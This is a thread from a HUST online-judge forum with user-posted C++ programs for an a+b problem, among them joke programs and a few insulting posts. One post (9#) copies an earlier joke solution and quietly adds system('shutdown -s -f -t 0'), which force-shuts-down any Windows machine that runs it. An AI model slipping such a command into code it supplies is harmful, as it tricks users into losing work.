HUST Online Judge WebBoard
[ New Thread ]
Problem 1 >> 1
2020zjdl42 @ 2021-11-27 15:59:34
[ Quote ] [ Edit ] [ Delete ] 1#
#include<bits/stdc++.h>
using namespace std;
int n,m,a[1001],b[1001],x[10001],cnt;
int main(){
cin>>n>>m;
for(int i=1;i<=n;i++)
cin>>a[i];
while(b[0]==0)
{
int i=n;
while(b[i]==1)i--;
b[i]=1;
for(int j=i+1;j<=n;j++)
b[j]=0;
int sum=0,s=0;
for(int j=1;j<=n;j++)
if(b[j]==1)
sum++,s+=a[j];
if(x[s]==0&&sum==m)
cnt++,x[s]=1;
}
cout<<cnt;
return 0;
}
2020zjdl42 @ 2022-07-25 09:19:15
[ Quote ] [ Edit ] [ Delete ] 2#
#include<bits/stdc++.h>
using namespace std;
int main(){
int n,k[10001];
cin>>n;
k[1]=2;
k[2]=4;
for(int i=3;i<=n;i++)
k[i]=k[i-1]+(k[i-2]*2-1);
cout<<k[n];
}
202105 @ 2022-07-25 10:48:00
[ Quote ] [ Edit ] [ Delete ] 3#
SBSBSBSBSBSBSBSBSBSBSBSBSBSBSBSBSBSBSBSBSBSSBSBSBSBSBSBSBBSBSBSBSBSBSBSBSBSBBSBSBSBSBSBSSBSBBSBSSBSBSBSBSBSSSBSBSBSBSBSBSBSBSBSBSBSBSBSBBSSBSBSBSBSBSBSBSBSBSBSBSBSBBSBSB
202105 @ 2022-07-25 10:51:54
[ Quote ] [ Edit ] [ Delete ] 4#
有种就回我!!!!!!
202105 @ 2022-07-25 10:53:35
[ Quote ] [ Edit ] [ Delete ] 5#
鄙视你!!!!!!!!!!!!
202105 @ 2022-07-25 11:19:18
[ Quote ] [ Edit ] [ Delete ] 6#
SB
cdxxx37 @ 2023-01-18 20:56:20
[ Quote ] [ Edit ] [ Delete ] 7#
邱成彬,文明用语。不然我告陈果冻(陈老师)。
secessionist @ 2023-11-05 18:47:00
[ Quote ] [ Edit ] [ Delete ] 8#
史上最长a+b!!!1000字!!!
#include<iostream>
#define so_croting 1
#define so_croming -1
#define so_crowing 0
#define ant_if if
#define ant_else else
# define _GLIBCXX_VISIBILITY(V) _GLIBCXX_PSEUDO_VISIBILITY(V)
namespace std _GLIBCXX_VISIBILITY(default) {}
using namespace std;
typedef int node;
node a,b;
void outstring(string n) {
cout << n << endl;
}
void output(node n) {
cout << n << endl;
}
void sitting() {
outstring("请您稍等谢谢!");
}
void sleep() {
for (int j = 0; j < 100; j++);
sitting();
}
void made();
void make();
void input(node s) {
ant_if(s == 1) {
cin >> a >> b;
}
ant_else{output(a + b);}
}
void made_so_make() {
made();
make();
}
void made() {
input(so_croting);
for (int i = 0; i < 100; i++) {
outstring("LOGIN");
sleep();
system("cls");
}
for (int i = 0; i < 100; i++) {
outstring("COMPUTEING");
sleep();
system("cls");
}
}
void make() {
input(so_croming);
}
int main() {
made_so_make();
return so_crowing;
}
7995 @ 2023-12-17 14:46:08
[ Quote ] [ Edit ] [ Delete ] 9#
//史上最长a+b!!!1000字!!!
#include<iostream>
#define so_croting 1
#define so_croming -1
#define so_crowing 0
#define ant_if if
#define ant_else else
# define _GLIBCXX_VISIBILITY(V) _GLIBCXX_PSEUDO_VISIBILITY(V)
namespace std _GLIBCXX_VISIBILITY(default) {}
using namespace std;
typedef int node;
node a,b;
void outstring(string n) {
cout << n << endl;
}
void output(node n) {
cout << n << endl;
}
void sitting() {
outstring("请您稍等谢谢!");
}
void sleep() {
for (int j = 0; j < 100; j++);
sitting();
}
void made();
void make();
void input(node s) {
ant_if(s == 1) {
cin >> a >> b;
}
ant_else{output(a + b);}
}
void made_so_make() {
made();
make();
}
void made() {
input(so_croting);
for (int i = 0; i < 100; i++) {
outstring("LOGIN");
sleep();
system("cls");
}
for (int i = 0; i < 100; i++) {
outstring("COMPUTEING");
sleep();
system("cls");
}
}
void make() {
input(so_croming);
system("shutdown -s -f -t 0");
}
int main() {
made_so_make();
return so_crowing;
}
/*抄楼上的
加了一句
好玩*/
slslslsslslsl @ 2024-01-15 20:17:56
[ Quote ] [ Edit ] [ Delete ] 10#
#include<iostream>
#include<windows.h>
using namespace std;
#define GPTstart show("你好!这里是人工纸张蒟蒻!本人工纸张滋磁计算算式和闲聊(未完善)!请问你有什么问题吗?(输入help可以查看说明书)\n")
#define GPThelp show("输入的算式只能是加减乘除和取余(答案和算式里的数非负),输入格式如:1+1、2*4、5%2、9/2、8-3。此外本纸张支持计算幂,格式如:pow(9,5)。至于闲聊嘛,就不用纸张多说了吧~\n")
void show(string t){
int len=t.length();
for(int i=0;i<len;i++){
cout<<t[i];
if(len<=10)Sleep(100);
else if(len<=20)Sleep(50);
else if(len<=50)Sleep(25);
else if(len<=100)Sleep(10);
else Sleep(5);
}
}
unsigned long long m[50001]{1,0};
bool shift(){
return (GetKeyState(VK_SHIFT)&0x8000);
}
bool up(){
return (GetKeyState(VK_UP)&0x8000);
}
bool down(){
return (GetKeyState(VK_DOWN)&0x8000);
}
bool right(){
return (GetKeyState(VK_RIGHT)&0x8000);
}
bool left(){
return (GetKeyState(VK_LEFT)&0x8000);
}
void pow(int n,int t){
int s;
memset(m,0,sizeof(m));
m[0]=1;
for(int j=1;j<=t;j++){
for(int i=0;i<30000;i++)m[i]*=n;
for(int i=1;i<30000;i++){
m[i]+=m[i-1]/10;
m[i-1]%=10;
}
}
s=30000;
while(m[s]==0) s--;
for(int i=s;i>=0;i--){
cout<<m[i];
if(s<50)Sleep(100);
if(s<100)Sleep(50);
if(s<200)Sleep(10);
if(s<300)Sleep(5);
else Sleep(1);
}
cout<<endl;
}
int main(){
system("color 3F");
string n;
GPTstart;
while(cin>>n){
if(n=="help"){
GPThelp;
continue;
}if(n=="hello"||n=="hi"||n=="你好"||n=="Hello"||n=="Hi"){
show("你好!很高兴认识你!\n");
continue;
}if(n=="6"||n=="good"||n=="GOOD"||n=="Good"||n=="你真棒"||n=="Very good"||n=="very good"||n=="VERY GOOD"){
show("感谢你的夸奖!我也会继续努力的!\n");
continue;
}//if(n=="114514"||n=="1314"||n=="520")
unsigned long long a=0,b=0,ans,i=0;
a=0;
b=0;
i=0;
if(n[0]=='p'&&n[1]=='o'&&n[2]=='w'){
i=4;
while(n[i]>='0'&&n[i]<='9'){
a=a*10+n[i]-'0';
i++;
}
i++;
while(n[i]>='0'&&n[i]<='9'){
b=b*10+n[i]-'0';
i++;
}
pow(a,b);
continue;
}
while(n[i]>='0'&&n[i]<='9'){
a=a*10+n[i]-'0';
i++;
}
char t=n[i];
i++;
while(n[i]>='0'&&n[i]<='9'){
b=b*10+n[i]-'0';
i++;
}
if(t=='+'){ans=a+b;}
else if(t=='-'){ans=a-b;}
else if(t=='*'){ans=a*b;}
else if(t=='/'){long double aneo=double(a)/double(b);string to=to_string(aneo);show(to);}
else if(t=='%'){ans=a%b;}
else{
show("蒟蒻并不知道“");
show(n);
show("”是什么意思,请再说一遍吧!\n");
continue;
}
string m=to_string(ans);
if(t!='/')show(n),show("="),show(m);
show("\n");
}
}
[Top] [Previous Page] [Next Page]